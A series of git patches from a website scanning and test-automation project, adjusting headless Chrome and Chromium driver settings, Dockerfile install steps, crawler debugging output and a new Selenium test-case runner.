diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index d8f3bfc4..a7192637 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -13,7 +13,7 @@ async def driver_init(
     sizes = window_size.split(',')
 
     options = {
-        'executablePath': os.environ.get('CHROMIUM'),
+        'executablePath': os.environ.get('GOOGLECHROME'),
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index e50f03bf..4596afd0 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -33,7 +33,7 @@ def driver_init(
 
     chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
-    options.binary_location = os.environ.get('CHROMIUM')
+    options.binary_location = os.environ.get('GOOGLECHROME')
     options.add_argument("--no-sandbox")
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)

From 3dee051f9e56e24384bbd56bfbdbd7074171e6c0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 11:41:17 -0600
Subject: [PATCH 0388/1099] page load strategy = 'none'

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 4596afd0..080cd445 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -44,7 +44,7 @@ def driver_init(
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
-    options.page_load_strategy = 'eager'
+    options.page_load_strategy = 'none'
 
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)

From ebd5b2008dee7a3ada943575248df48fa17924ad Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 12:28:03 -0600
Subject: [PATCH 0389/1099] testing

---
 Dockerfile                | 32 ++++++++++++++++----------------
 app/api/utils/driver_s.py |  2 +-
 2 files changed, 17 insertions(+), 17 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 4b81db14..02e04305 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -64,19 +64,19 @@ RUN chmod +x /usr/bin/chromedriver
 
 
 
-# installing google-chrome-stable 
-RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-    wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-    gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-    chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-    echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-    apt-get update -y; \
-    apt-get install -y google-chrome-stable;
-
-# installing chromedriver
-RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
-    wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
-    unzip ~/chromedriver-linux64.zip -d ~/ && \
-    rm ~/chromedriver-linux64.zip && \
-    mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
-    rm -rf ~/chromedriver-linux64
\ No newline at end of file
+# # installing google-chrome-stable 
+# RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
+#     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
+#     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
+#     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
+#     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
+#     apt-get update -y; \
+#     apt-get install -y google-chrome-stable;
+
+# # installing chromedriver
+# RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
+#     wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
+#     unzip ~/chromedriver-linux64.zip -d ~/ && \
+#     rm ~/chromedriver-linux64.zip && \
+#     mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
+#     rm -rf ~/chromedriver-linux64
\ No newline at end of file
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 080cd445..cb587d08 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -33,7 +33,7 @@ def driver_init(
 
     chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
-    options.binary_location = os.environ.get('GOOGLECHROME')
+    options.binary_location = os.environ.get('CHROMIUM')
     options.add_argument("--no-sandbox")
     options.add_argument("disable-blink-features=AutomationControlled")
     options.add_experimental_option('prefs',prefs)

From 0a9c89c282f271bf52ce79f5bc7ee95b8a644c92 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:03:05 -0600
Subject: [PATCH 0390/1099] forced typing

---
 app/api/utils/driver_p.py |  4 ++--
 app/api/utils/driver_s.py | 19 ++++++++++---------
 app/api/utils/scanner.py  |  2 +-
 3 files changed, 13 insertions(+), 12 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index a7192637..baba86a7 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -13,7 +13,7 @@ async def driver_init(
     sizes = window_size.split(',')
 
     options = {
-        'executablePath': os.environ.get('GOOGLECHROME'),
+        'executablePath': os.environ.get('CHROMIUM'),
         'args': [
             '--no-sandbox', 
             '--disable-dev-shm-usage',
@@ -65,7 +65,7 @@ async def wait_for_page(page, max_wait_time=30):
     timeout = 0
     page_state = 'loading'
 
-    while timeout < max_wait_time and page_state != 'complete':
+    while int(timeout) < int(max_wait_time) and page_state != 'complete':
         page_state = await page.evaluate('document.readyState')
         print(f'document state is {page_state}')
         time.sleep(1)
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index cb587d08..ac4f385f 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -8,8 +8,8 @@
 def driver_init(
         window_size='1920,1080', 
         device='desktop',
-        script_timeout=300,
-        load_timeout=300,
+        script_timeout=30,
+        load_timeout=30,
         wait_time=15, 
         pixel_ratio=1.0,
         scale_factor=0.5
@@ -31,7 +31,7 @@ def driver_init(
         ) 
     }
 
-    chromedriver_path = os.environ.get("CHROMEDRIVER")
+    # chromedriver_path = os.environ.get("CHROMEDRIVER")
     options = webdriver.ChromeOptions()
     options.binary_location = os.environ.get('CHROMIUM')
     options.add_argument("--no-sandbox")
@@ -41,6 +41,7 @@ def driver_init(
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
+    chrome_options.add_argument('--hide-scrollbars')
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
@@ -49,10 +50,10 @@ def driver_init(
     if device == 'mobile':
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
-    service = webdriver.ChromeService(executable_path=chromedriver_path)
-    driver = webdriver.Chrome(options=options, service=service)
-    driver.set_page_load_timeout(load_timeout)
-    driver.set_script_timeout(script_timeout)
+    # service = webdriver.ChromeService(executable_path=chromedriver_path)
+    driver = webdriver.Chrome(options=options)
+    # driver.set_page_load_timeout(load_timeout)
+    # driver.set_script_timeout(script_timeout)
     # driver.implicitly_wait(wait_time)
 
     
@@ -133,7 +134,7 @@ def interact_with_page(driver):
     interact_with_page(driver)
     time.sleep(min_wait_time)
 
-    while wait_time < max_wait_time and page_state != 'complete':
+    while int(wait_time) < int(max_wait_time) and page_state != 'complete':
         # get first set of logs
         # list_one = get_request_list(driver=driver)
         
@@ -173,7 +174,7 @@ def get_data(driver, max_wait_time):
     html = None
     logs = None
 
-    while timeout < max_wait_time and page_state != 'complete':
+    while int(timeout) < int(max_wait_time) and page_state != 'complete':
         page_state = driver.execute_script('return document.readyState')
         print(f'document state is {page_state}')
         time.sleep(1)
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index df40232b..a8c7ede9 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -462,7 +462,7 @@ def _html_and_logs(scan_id, test_id, automation_id):
             driver.get(scan.page.page_url)
             s_driver_data = get_s_driver_data(
                 driver=driver, 
-                max_wait_time=scan.configs['max_wait_time']
+                max_wait_time=int(scan.configs['max_wait_time'])
             )
             if 'html' in scan.type or 'full' in scan.type:
                 html = s_driver_data['html']

From 2568b06757323d7271d88c3450fc9e5a103f9247 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:03:35 -0600
Subject: [PATCH 0391/1099] removed google-chrome

---
 Dockerfile | 19 -------------------
 1 file changed, 19 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 02e04305..32cf3c07 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -61,22 +61,3 @@ RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/chromium
 RUN chown -R app:app /usr/bin/chromedriver
 RUN chmod +x /usr/bin/chromedriver
-
-
-
-# # installing google-chrome-stable 
-# RUN apt-get install -y gnupg wget curl unzip --no-install-recommends; \
-#     wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | \
-#     gpg --no-default-keyring --keyring gnupg-ring:/etc/apt/trusted.gpg.d/google.gpg --import; \
-#     chmod 644 /etc/apt/trusted.gpg.d/google.gpg; \
-#     echo "deb https://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list; \
-#     apt-get update -y; \
-#     apt-get install -y google-chrome-stable;
-
-# # installing chromedriver
-# RUN CHROMEDRIVER_VERSION=$(curl https://googlechromelabs.github.io/chrome-for-testing/LATEST_RELEASE_STABLE); \
-#     wget -N https://storage.googleapis.com/chrome-for-testing-public/$CHROMEDRIVER_VERSION/linux64/chromedriver-linux64.zip -P ~/ && \
-#     unzip ~/chromedriver-linux64.zip -d ~/ && \
-#     rm ~/chromedriver-linux64.zip && \
-#     mv -f ~/chromedriver-linux64/chromedriver /usr/bin/chromedriver && \
-#     rm -rf ~/chromedriver-linux64
\ No newline at end of file

From e4ccfdf3e0f625a9fb37bdabc79248d08bd50bcf Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:03:47 -0600
Subject: [PATCH 0392/1099] removed js method

---
 app/api/utils/puppeteer.mjs | 35 -----------------------------------
 1 file changed, 35 deletions(-)
 delete mode 100644 app/api/utils/puppeteer.mjs

diff --git a/app/api/utils/puppeteer.mjs b/app/api/utils/puppeteer.mjs
deleted file mode 100644
index 5802ceb4..00000000
--- a/app/api/utils/puppeteer.mjs
+++ /dev/null
@@ -1,35 +0,0 @@
-import puppeteer from '/usr/local/bin/puppeteer';
-
-(async () => {
-  // Launch the browser and open a new blank page
-  const browser = await puppeteer.launch();
-  const page = await browser.newPage();
-
-  // Navigate the page to a URL
-  await page.goto('https://developer.chrome.com/');
-
-  // Set screen size
-  await page.setViewport({width: 1080, height: 1024});
-
-  // Type into search box
-  await page.type('.devsite-search-field', 'automate beyond recorder');
-
-  // Wait and click on first result
-  const searchResultSelector = '.devsite-result-item-link';
-  await page.waitForSelector(searchResultSelector);
-  await page.click(searchResultSelector);
-
-  // Locate the full title with a unique string
-  const textSelector = await page.waitForSelector(
-    'text/Customize and automate'
-  );
-  const fullTitle = await textSelector?.evaluate(el => el.textContent);
-
-  // Print the full title
-  console.log('The title of this blog post is "%s".', fullTitle);
-
-  await browser.close();
-
-  return fullTitle
-  
-})();
\ No newline at end of file

From 3bb0b9420115f1f01fa0d8038e5a4e720b000514 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:11:00 -0600
Subject: [PATCH 0393/1099] fixed chrome.options

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index ac4f385f..256963f4 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -41,7 +41,7 @@ def driver_init(
     options.add_argument("--headless")
     options.add_argument("--disable-dev-shm-usage")
     options.add_argument("ignore-certificate-errors")
-    chrome_options.add_argument('--hide-scrollbars')
+    options.add_argument('--hide-scrollbars')
     options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
     options.add_argument("--window-size=%s" % window_size) 
     options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})

From 7c37af39a2293573f636be2f2937ece490711dc1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 13:14:46 -0600
Subject: [PATCH 0394/1099] removed users from celery

---
 docker-compose.dev.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 029e3764..0cf5c7c8 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -53,7 +53,7 @@ services:
       context: .
       dockerfile: Dockerfile
     command: >
-      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info --uid=app --gid=app"
+      sh -c "celery -A scanerr worker --beat --scheduler django --loglevel=info"
     volumes:
       - ./app:/scanerr
     env_file:

From c0a42f98c60af30a22635ab9689627cbebaab830 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 14:07:42 -0600
Subject: [PATCH 0395/1099] added height logging

---
 app/api/utils/image.py | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 789b9690..341a7a5c 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -240,6 +240,9 @@ def scan_s(self, driver=None):
             # get current position and compare to previous
             new_height = driver.execute_script("return window.pageYOffset + document.documentElement.clientHeight")
             height_diff = new_height - last_height
+
+            print(f'new_height => {new_height} | height_diff => {height_diff}')
+
             if height_diff > 20:
                 last_height = new_height
                 pic_id = uuid.uuid4()

From 241d1834eb9657d955f60ed08210309f9421fb10 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Fri, 15 Mar 2024 14:35:56 -0600
Subject: [PATCH 0396/1099] added new args to puppeteer Chrome() init

---
 app/api/utils/driver_p.py | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index baba86a7..fb59f5f0 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -18,7 +18,10 @@ async def driver_init(
             '--no-sandbox', 
             '--disable-dev-shm-usage',
             '--force-device-scale-factor=0.5',
-            'ignore-certificate-errors'
+            'ignore-certificate-errors',
+            '--hide-scrollbars',
+            'start-maximized'
+            'disable-blink-features=AutomationControlled'
             f'--window-size={window_size}',
         ],
         'defaultViewport': {

From a2993f33f21fbbce234c984eaee432cda8526067 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 18 Mar 2024 13:44:58 -0600
Subject: [PATCH 0397/1099] forced int() type on 'timeout' param

---
 app/api/utils/image.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index 341a7a5c..6b693f90 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -93,7 +93,7 @@ def check_timeout(self, timeout, start_time):
         """
         current = datetime.now()
         diff = current - start_time
-        if diff.total_seconds() >= timeout:
+        if diff.total_seconds() >= int(timeout):
             print('exceeded timeout')
             return True
         else:

From 6a92062cf6270e58a6944c7edb13a1a4f11998db Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Mon, 18 Mar 2024 20:13:16 -0600
Subject: [PATCH 0398/1099] removed some chrome args

---
 app/api/utils/driver_p.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index fb59f5f0..1ac43027 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -20,8 +20,6 @@ async def driver_init(
             '--force-device-scale-factor=0.5',
             'ignore-certificate-errors',
             '--hide-scrollbars',
-            'start-maximized'
-            'disable-blink-features=AutomationControlled'
             f'--window-size={window_size}',
         ],
         'defaultViewport': {

From d7d54d11e118aba6d276ca9a8d40a40b482ffdd2 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 12:43:44 -0600
Subject: [PATCH 0399/1099] testing

---
 app/api/tasks.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 7aedf80d..3a5c0557 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -52,6 +52,7 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site.time_crawl_completed = None
     site.save()
     # crawl site 
+    print(f'crawling a max of {str(site.account.max_pages)} pages')
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
     for url in pages:
         # add new page

From 59768c34e8e5bd192ec3d01cdb64a445e98b042d Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 12:54:33 -0600
Subject: [PATCH 0400/1099] debugging

---
 app/api/utils/crawler.py | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 18a09851..316e8772 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -51,6 +51,7 @@ def add_urls(start_url):
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
             for link in soup.find_all('a'):
                 url = link.get('href')
+                print(f'found this link -> {url}')
                 if url is not None:
                     if url_is_valid(url):
                         if url.startswith('/'):
@@ -68,6 +69,7 @@ def add_urls(start_url):
         add_urls(self.url)
 
         # iterate through layers
+        print(f'follow_urls > {str(len(follow_urls))} | crawled_urls > {str(len(crawled_urls))} | max_urls > {str(self.max_urls)}')
         while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls):
             for url in follow_urls:
                 if not url in crawled_urls:

From 893ae0e311417514500b5912e50184afa8f72dab Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 13:06:39 -0600
Subject: [PATCH 0401/1099] testing

---
 app/api/utils/crawler.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 316e8772..26bc7798 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -49,6 +49,8 @@ def url_is_valid(url):
         def add_urls(start_url):
             self.driver.get(start_url)
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
+            print(soup)
+            print(soup.find_all('a'))
             for link in soup.find_all('a'):
                 url = link.get('href')
                 print(f'found this link -> {url}')
@@ -69,8 +71,8 @@ def add_urls(start_url):
         add_urls(self.url)
 
         # iterate through layers
-        print(f'follow_urls > {str(len(follow_urls))} | crawled_urls > {str(len(crawled_urls))} | max_urls > {str(self.max_urls)}')
         while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls):
+            print(f'follow_urls > {str(len(follow_urls))} | crawled_urls > {str(len(crawled_urls))} | max_urls > {str(self.max_urls)}')
             for url in follow_urls:
                 if not url in crawled_urls:
                     crawled_urls.append(url)

From ce0ca3403a1678b6e541ed2b6bffdc368cb782eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 13:09:28 -0600
Subject: [PATCH 0402/1099] testing

---
 app/api/utils/crawler.py | 1 +
 1 file changed, 1 insertion(+)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index 26bc7798..fdad3abd 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -49,6 +49,7 @@ def url_is_valid(url):
         def add_urls(start_url):
             self.driver.get(start_url)
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
+            print(self.driver.page_source)
             print(soup)
             print(soup.find_all('a'))
             for link in soup.find_all('a'):

From 09e92842d87857ff7118a32d822344afa3fa5126 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 13:12:24 -0600
Subject: [PATCH 0403/1099] added driver wait

---
 app/api/utils/crawler.py | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index fdad3abd..e3f7eb05 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -1,6 +1,6 @@
 import requests
 from bs4 import BeautifulSoup
-from .driver_s import driver_init, quit_driver
+from .driver_s import *
 
 
 
@@ -48,6 +48,14 @@ def url_is_valid(url):
         
         def add_urls(start_url):
             self.driver.get(start_url)
+
+            # adding wait for crawler
+            driver_wait(
+                driver=self.driver,
+                max_wait_time=20, 
+                interval=2
+            )
+
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
             print(self.driver.page_source)
             print(soup)

From 68ee8b0c1c495e0e69aa107f59baa4db76137ed1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Tue, 19 Mar 2024 13:16:09 -0600
Subject: [PATCH 0404/1099] fixed crawler issues

---
 app/api/tasks.py         | 1 -
 app/api/utils/crawler.py | 7 +------
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3a5c0557..7aedf80d 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -52,7 +52,6 @@ def create_site_and_pages_bg(self, site_id=None, configs=None, *args, **kwargs):
     site.time_crawl_completed = None
     site.save()
     # crawl site 
-    print(f'crawling a max of {str(site.account.max_pages)} pages')
     pages = Crawler(url=site.site_url, max_urls=site.account.max_pages).get_links()
     for url in pages:
         # add new page
diff --git a/app/api/utils/crawler.py b/app/api/utils/crawler.py
index e3f7eb05..89eb1ed5 100644
--- a/app/api/utils/crawler.py
+++ b/app/api/utils/crawler.py
@@ -49,7 +49,7 @@ def url_is_valid(url):
         def add_urls(start_url):
             self.driver.get(start_url)
 
-            # adding wait for crawler
+            # wait for page to load
             driver_wait(
                 driver=self.driver,
                 max_wait_time=20, 
@@ -57,12 +57,8 @@ def add_urls(start_url):
             )
 
             soup = BeautifulSoup(self.driver.page_source, 'html.parser')
-            print(self.driver.page_source)
-            print(soup)
-            print(soup.find_all('a'))
             for link in soup.find_all('a'):
                 url = link.get('href')
-                print(f'found this link -> {url}')
                 if url is not None:
                     if url_is_valid(url):
                         if url.startswith('/'):
@@ -81,7 +77,6 @@ def add_urls(start_url):
 
         # iterate through layers
         while (len(follow_urls) > len(crawled_urls)) and (len(crawled_urls) < self.max_urls):
-            print(f'follow_urls > {str(len(follow_urls))} | crawled_urls > {str(len(crawled_urls))} | max_urls > {str(self.max_urls)}')
             for url in follow_urls:
                 if not url in crawled_urls:
                     crawled_urls.append(url)

From df51d7e5bc0bfce4347036a4ee81326012ead0ad Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 10:39:57 -0600
Subject: [PATCH 0405/1099] trying to update selenium

---
 requirements.txt | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/requirements.txt b/requirements.txt
index b715ae20..929183ba 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -39,7 +39,7 @@ requests==2.25.1
 reportlab==3.6.6
 scikit-image==0.21.0
 scipy==1.8.0
-selenium==4.11.2
+selenium==4.18.1
 sendgrid==6.9.7
 six==1.16.0
 slack-sdk==3.11.2

From f7f1713689a3eb26c32b33857473cacede60e7ef Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 20 Mar 2024 11:53:34 -0600
Subject: [PATCH 0406/1099] testing selenium

---
 app/api/utils/caser.py  | 399 +++++++++++++++++++++++++++++++++++++++-
 app/api/v1/ops/tasks.py |   7 +-
 2 files changed, 399 insertions(+), 7 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 271dac9f..8cb329ed 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,5 +1,9 @@
-from .driver_p import driver_init
+from .driver_p import driver_init as driver_p_init
+from .driver_s import driver_init as driver_s_init
+from .driver_s import driver_wait, quit_driver
 import time, asyncio, uuid, json, boto3, os
+from selenium.webdriver.common.by import By
+from selenium.webdriver.common.keys import Keys
 from ..models import * 
 from datetime import datetime
 from asgiref.sync import sync_to_async
@@ -49,12 +53,44 @@ def update_testcase(
         self.testcase.save()
         return
 
+    def update_testcase_s(
+            self, index=None, type=None, start_time=None, end_time=None, 
+            passed=None, exception=None, time_completed=None, image=None,
+        ):
+        if start_time != None:
+            self.testcase.steps[index][type]['time_created'] = str(start_time)
+        if end_time != None:
+            self.testcase.steps[index][type]['time_completed'] = str(end_time)
+        if passed != None:
+            self.testcase.steps[index][type]['passed'] = passed
+        if exception != None:
+            self.testcase.steps[index][type]['exception'] = str(exception)
+        if image != None:
+            self.testcase.steps[index][type]['image'] = str(image)
+        if time_completed != None:
+            self.testcase.time_completed = time_completed
+            test_status = True
+            for step in self.testcase.steps:
+                if step['action']['passed'] == False:
+                    test_status = False
+                if step['assertion']['passed'] == False:
+                    test_status = False
+            self.testcase.passed = test_status
+        
+        self.testcase.save()
+        return
+
     @sync_to_async
     def format_element(self, element):
         elememt = json.dumps(element).rstrip('"').lstrip('"')
         return str(element)
 
 
+    def format_element_s(self, element):
+        elememt = json.dumps(element).rstrip('"').lstrip('"')
+        return str(element)
+
+
 
     
     async def save_screenshot(self, page):
@@ -97,13 +133,326 @@ async def save_screenshot(self, page):
         # returning image url
         return  image_url
 
+
     
+    def save_screenshot_s(self, page):
+        '''
+        Grabs & uploads a screenshot of the `page` 
+        passed in the params. 
+
+        Returns -> `image_url` <str:remote path to image>
+        
+        '''
+
+        # setup boto3 configurations
+        s3 = boto3.client(
+            's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID),
+            aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY),
+            region_name=str(settings.AWS_S3_REGION_NAME), 
+            endpoint_url=str(settings.AWS_S3_ENDPOINT_URL)
+        )
+
+        # setting id for image
+        pic_id = uuid.uuid4()
+        
+        # get screenshot
+        self.driver.save_screenshot({'path': f'{pic_id}.png'})
+
+        # seting up paths
+        image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
+        remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
+        root_path = settings.AWS_S3_URL_PATH
+        image_url = f'{root_path}/{remote_path}'
     
+        # upload to s3
+        with open(image, 'rb') as data:
+            s3.upload_fileobj(data, str(settings.AWS_STORAGE_BUCKET_NAME), 
+                remote_path, ExtraArgs={'ACL': 'public-read', 'ContentType': "image/png"}
+            )
+        # remove local copy
+        os.remove(image)
+
+        # returning image url
+        return  image_url
+
     
-    async def run(self):
 
+    def run_s(self):
+        print(f'beginning testcase for {self.site_url}  \
+            using case {self.case_name}')
+        
+        # initate driver
+        self.driver = driver_s_init(
+            window_size=self.configs['window_size'], 
+            device=self.configs['device']
+        )
+
+        i = 0
+        for step in self.steps:
+            print(f'-- running step #{i+1} --')
+        
+            # adding catch if nav is not first
+            if i == 0 and step['action']['type'] != 'navigate':
+                print(f'navigating to {self.site_url} before first step')
+                # using selenium, navigate to site root path & wait for page to load
+                self.driver.get(f'{self.site_url}')
+                time.sleep(int(self.configs['min_wait_time']))
+
+            
+            if step['action']['type'] == 'navigate':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'navigating to {self.site_url}{step["action"]["path"]}')
+                    # using selenium, navigate to requested path & wait for page to load
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )
+                    self.driver.get(f'{self.site_url}{step["action"]["path"]}', self.page_options)
+                    time.sleep(int(self.configs['min_wait_time']))
+                    image = self.save_screenshot_s()
+
+                except Exception as e:
+                    image = self.save_screenshot_s()
+                    exception = e
+                    passed = False
+
+                
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    end_time=datetime.now(), 
+                    passed=passed, 
+                    exception=exception,
+                    image=image
+                )
+            
+
+
+            if step['action']['type'] == 'click':
+                exception = None
+                passed = True
+                self.update_testcase_s(
+                    index=i, type='action', 
+                    start_time=datetime.now()
+                )
+
+                try:
+                    print(f'clicking element -> {step["action"]["element"]}')
+                    # using selenium, find and click on the 'element' 
+                    selector = self.format_element_s(step["action"]["element"])
+                    driver_wait(
+                        driver=driver, 
+                        interval=int(self.configs.get('interval', 5)),  
+                        min_wait_time=int(self.configs.get('min_wait_time', 10)),
+                        max_wait_time=int(self.configs.get('max_wait_time', 30)),
+                    )                
+                    # scrolling to element using plain JavaScript
